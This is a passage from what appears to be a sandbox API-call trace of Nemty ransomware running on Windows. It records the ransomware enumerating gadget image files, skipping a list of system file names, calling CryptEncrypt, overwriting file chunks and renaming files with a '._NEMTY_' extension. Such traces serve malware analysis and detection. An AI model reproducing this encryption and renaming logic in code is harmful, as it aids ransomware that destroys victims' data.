hHeap=0x4f90000) returned 1 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\39.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\39.png._nemty_kgobjgd_")) returned 0 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0156.573] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b08c01, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b08c01, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="4.png", cAlternateFileName="")) returned 1 [0156.573] lstrcmpiW (lpString1="4.png", lpString2=".") returned 1 [0156.573] lstrcmpiW (lpString1="4.png", lpString2="..") returned 1 [0156.573] lstrcmpiW (lpString1="4.png", lpString2="...") returned 1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="windows") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="$RECYCLE.BIN") returned 1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="rsa") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="NTDETECT.COM") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="ntldr") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="MSDOS.SYS") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="IO.SYS") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="boot.ini") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="boot.ini") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="AUTOEXEC.BAT") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="ntuser.dat") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="desktop.ini") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="CONFIG.SYS") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="RECYCLER") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="BOOTSECT.BAK") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="bootmgr") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="programdata") returned -1 [0156.574] lstrcmpiW (lpString1="4.png", lpString2="appdata") returned -1 [0156.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0156.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.png", lpUsedDefaultChar=0x0) returned 5 [0156.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0156.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.png", lpUsedDefaultChar=0x0) returned 5 [0156.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0156.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.png", lpUsedDefaultChar=0x0) returned 5 [0156.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0156.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.png", lpUsedDefaultChar=0x0) returned 5 [0156.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0156.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0156.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0156.574] Sleep (dwMilliseconds=0x5) [0156.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10f90d90, dwHighDateTime=0x1d561e8)) [0156.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10f90d90, dwHighDateTime=0x1d561e8)) [0156.575] GetLastError () returned 0x5 [0156.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0156.575] GetLastError () returned 0x5 [0156.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0156.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0156.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.575] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0156.575] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0156.575] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0156.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0156.575] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="Lz5v96FCI47YXSuujndyMO0vmgwRF/JRMavDlCRGt05OoKns1PDkXHWXXnvAw8JH\r\nKnfaqQB0sSGaBzvJRbzpkZR2Oq8D63mMp+I48nILcvc3HquzIN6+N/cQ9AIFjIgc\r\nEHF8as1G4sZaWfHHuV8F9TL/6P6qjO/ZhYbTo53l6fqvMt6AQ0EcLikC1Sjiz+Gc\r\nCPhh7RYLqW8EH/trvo745cjlQmnnWo4PPi6mr835RVUyYskkBFtYQ0pBlZSl83Um\r\nXCYG3Fp4Ew3+0bmKHZGqsVHyvLc6U1KH83DTPXbarmisaDnbiq0dE5Xxqtfox+ZR\r\nK0k2aFYwhgUD6zMRgaljtQ==\r\n", pcchString=0x653e91c) returned 1 [0156.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0156.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0156.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0156.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0156.576] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0156.576] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0156.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0156.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.676] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0156.682] CloseHandle (hObject=0xffffffff) returned 0 [0156.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0156.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0156.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0156.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0156.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0156.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0156.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\4.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\4.png._nemty_kgobjgd_")) returned 0 [0156.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0156.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0156.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0156.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0156.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0156.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0156.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0156.683] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b2ed5e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b2ed5e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1874, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="40.png", cAlternateFileName="")) returned 1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2=".") returned 1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="..") returned 1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="...") returned 1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="windows") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="$RECYCLE.BIN") returned 1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="rsa") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="NTDETECT.COM") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="ntldr") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="MSDOS.SYS") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="IO.SYS") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="boot.ini") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="boot.ini") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="AUTOEXEC.BAT") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="ntuser.dat") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="desktop.ini") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="CONFIG.SYS") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="RECYCLER") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="BOOTSECT.BAK") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="bootmgr") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="programdata") returned -1 [0156.683] lstrcmpiW (lpString1="40.png", lpString2="appdata") returned -1 [0156.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="40.png", lpUsedDefaultChar=0x0) returned 6 [0156.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="40.png", lpUsedDefaultChar=0x0) returned 6 [0156.684] WideCharToMultiByte (in: CodePage=0xfde9, 